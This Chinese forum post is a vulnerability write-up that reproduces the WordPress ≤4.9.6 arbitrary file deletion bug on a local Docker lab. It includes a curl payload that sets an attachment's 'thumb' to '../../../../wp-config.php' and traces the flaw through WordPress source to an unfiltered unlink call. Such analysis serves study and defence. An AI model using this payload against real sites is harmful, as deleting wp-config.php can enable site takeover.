用户
搜索
  • TA的每日心情

    昨天 16:56
  • 签到天数: 95 天

    连续签到: 2 天

    [LV.6]常住居民II

    i春秋作家

    i春秋十五军菜鸟团团长

    Rank: 7Rank: 7Rank: 7

    25

    主题

    88

    帖子

    699

    魔法币
    收听
    0
    粉丝
    6
    注册时间
    2018-3-1

    i春秋签约作者春秋文阁积极活跃奖春秋游侠

    F0rmat i春秋作家 i春秋十五军菜鸟团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠 楼主
    发表于 6 天前 43923

    0x01 前言

    毕业了挺多聚会的,在学校的日子总是过得那么快,一转眼就毕业了。好些东西都没去好好珍惜,大学也不要求有多大的成就,就希望每天都能开开心心就最好的。
    今天这篇文章的分析早就有人发过了,不过我觉得我还是得写一下,毕竟我要有我自己的风格。还是老样子,先测试漏洞怎么触发,然后再去做分析。

    0x02 环境搭建

    旧的和新的区别不大,只要不大于4.9.6就行了,这次测试的是4.6版本的,具体怎么搭建按照上一篇的文章方法搭建就行了,这里就不再过一遍了。
    https://getpass.cn/2018/06/18/Analysis-of-WordPress%3C=4.6-Command-Execution-Vulnerability/

    本文中用的搭建环境是docker+Kitematic,都差不多的,用图形界面比较方便些。

    0x03 漏洞复现

    1.漏洞执行流程

    先给一个大概的框架,代码稍后再分析就会很明了了。

    2.复现过程

    -登录账号

    -上传文件

    -编辑文件

    -执行Payload

    首先要获取_wpnoncecookies还有post的id


    然后执行:
    curl -v 'http://127.0.0.1/wp-admin/post.php?post=5' -H 'Cookie: xxx' -d 'action=editattachment&_wpnonce=xxx&thumb=../../../../wp-config.php'
    我这里用的是curl,在Macos比较方便,如果是win可以用抓包发包。

    -删除文件

    然后点击删除

    执行完之后会跳转到安装界面。

    然后wp-config.php也不在网站目录下了

    0x04 漏洞分析

    1.phpmyadmin安装

    在命令行里面看数据不太好看,装个图形界面比较清楚,进入docker的交互式:
    查看容器ID
    docker ps
    进入指定容器的交互式
    docker exec -it ID /bin/bash

    安装phpmyadmin,输入下面的命令就行了:
    apt update
    apt install phpmyadmin
    然后输入MySQL的账号密码,再创建链接:
    ln -s /usr/share/phpmyadmin /var/www/html/phpmyadmin
    最后输入
    htpp://127.0.0.1/phpmyadmin进入

    2.分析如何插入thumb属性

    我们看下Payload里面是传了什么参数:

    • post
    • action
    • thumb

    post传入的ID就不分析了,直接看action的参数的值是editattachment,代码是在/wp-admin/post.php的178~189行

    case 'editattachment':
        check_admin_referer('update-post_' . $post_id);
    
        // Don't let these be changed
        unset($_POST['guid']);
        $_POST['post_type'] = 'attachment';
    
        // Update the thumbnail filename
        $newmeta = wp_get_attachment_metadata( $post_id, true );
        //这里把POST过来的thumb赋值给newmeta数值里面的thumb
        $newmeta['thumb'] = $_POST['thumb'];
        //执行update函数
        wp_update_attachment_metadata( $post_id, $newmeta );

    我们继续跟进wp_update_attachment_metadata函数,在/wp-includes/post.php文件的5079~5097行:

    function wp_update_attachment_metadata( $attachment_id, $data ) {
        $attachment_id = (int) $attachment_id;
        if ( ! $post = get_post( $attachment_id ) ) {
            return false;
        }
        if ( $data = apply_filters( 'wp_update_attachment_metadata', $data, $post->ID ) )
            return update_post_meta( $post->ID, '_wp_attachment_metadata', $data );
        else
            return delete_post_meta( $post->ID, '_wp_attachment_metadata' );
    }

    上面一些函数过滤的可以直接去读一下,对插入这个值是没什么影响的,记住传入的$meta_key的值是_wp_attachment_metadata我们继续跟进函数update_post_meta,

    $updated = update_metadata( 'post', $post_id, $meta_key, $meta_value, $prev_value );

    这个函数没什么好分析的,我们继续跟进这个函数里面的update_metadata函数的202行:

        if ( empty( $meta_ids ) ) {
            return add_metadata( $meta_type, $object_id, $raw_meta_key, $passed_value );
        }

    继续跟进add_metadata函数,前面都是序列化操作和过滤操作,主要看96~100行的插入sql执行语句:

        $result = $wpdb->insert( $table, array(
            $column => $object_id,
            'meta_key' => $meta_key,
            'meta_value' => $meta_value
        ) );

    我们来实现这个代码的执行流程,我们再次上传图片,然后执行Payload。

    执行前的wp_postmeta_wp_attachment_metadata字段内容:
    可以复制内容到https://1024tools.com/unserialize       网站,也可以用浏览器插件

    执行后:

    可以看出已经成功插入thumb的内容了。

    3.分析任意文件删除

    还是从文件/wp-admin/post.php开始分析,找到action是delete的case地方,在246~2268行,它这里判断了post_type是否等于attachment,这个在上面插入的那个函数里面已经赋值了,可以回去看下183行。

    case 'delete':
        check_admin_referer('delete-post_' . $post_id);
    
        if ( ! $post )
            wp_die( __( 'This item has already been deleted.' ) );
    
        if ( ! $post_type_object )
            wp_die( __( 'Invalid post type.' ) );
    
        if ( ! current_user_can( 'delete_post', $post_id ) )
            wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );
    
        if ( $post->post_type == 'attachment' ) {
            $force = ( ! MEDIA_TRASH );
            if ( ! wp_delete_attachment( $post_id, $force ) )
                wp_die( __( 'Error in deleting.' ) );
        } else {
            if ( ! wp_delete_post( $post_id, true ) )
                wp_die( __( 'Error in deleting.' ) );
        }
    
        wp_redirect( add_query_arg('deleted', 1, $sendback) );
        exit();

    我们继续跟进wp_delete_attachment函数,在wp-includes/post.php的5002~5010行,可以看到执行sql语句查询出来的$meta['thumb']的值,然后下面也没过滤直接就带入了unlink函数,而且通过上面的分析$meta['thumb']的值是可控的,这样就造成了任意文件的删除。

        if ( ! empty($meta['thumb']) ) {
            // Don't delete the thumb if another attachment uses it.
            if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id)) ) {
                $thumbfile = str_replace(basename($file), $meta['thumb'], $file);
                /** This filter is documented in wp-includes/functions.php */
                $thumbfile = apply_filters( 'wp_delete_file', $thumbfile );
                @ unlink( path_join($uploadpath['basedir'], $thumbfile) );
            }
        }

    0x05 结束

    写这个文章写到一半忘了保存又重新写了一遍,心累。。。

    0x06 参考

    https://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility/
    https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
    https://1024tools.com/unserialize

    本帖被以下淘专辑推荐:

    getpass.cn

    我小猪佩奇出去吃一盒小熊饼干,回来要有10个魔法币

    评分

    参与人数 1魔法币 +10 收起 理由
    F0rmat + 10 乔治奖励你魔法币

    查看全部评分

    使用道具 举报 回复
    我小猪佩奇出去吃一盒小熊饼干,回来要有10个魔法币

    评分

    参与人数 1魔法币 +10 收起 理由
    F0rmat + 10 小乔治又来奖励魔法币啦~

    查看全部评分

    使用道具 举报 回复
    大佬大佬,我也想要魔法币

    评分

    参与人数 1魔法币 +10 收起 理由
    F0rmat + 10 记得点赞哦

    查看全部评分

    该会员没有填写今日想说内容.
    使用道具 举报 回复
    赞,学习一下
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册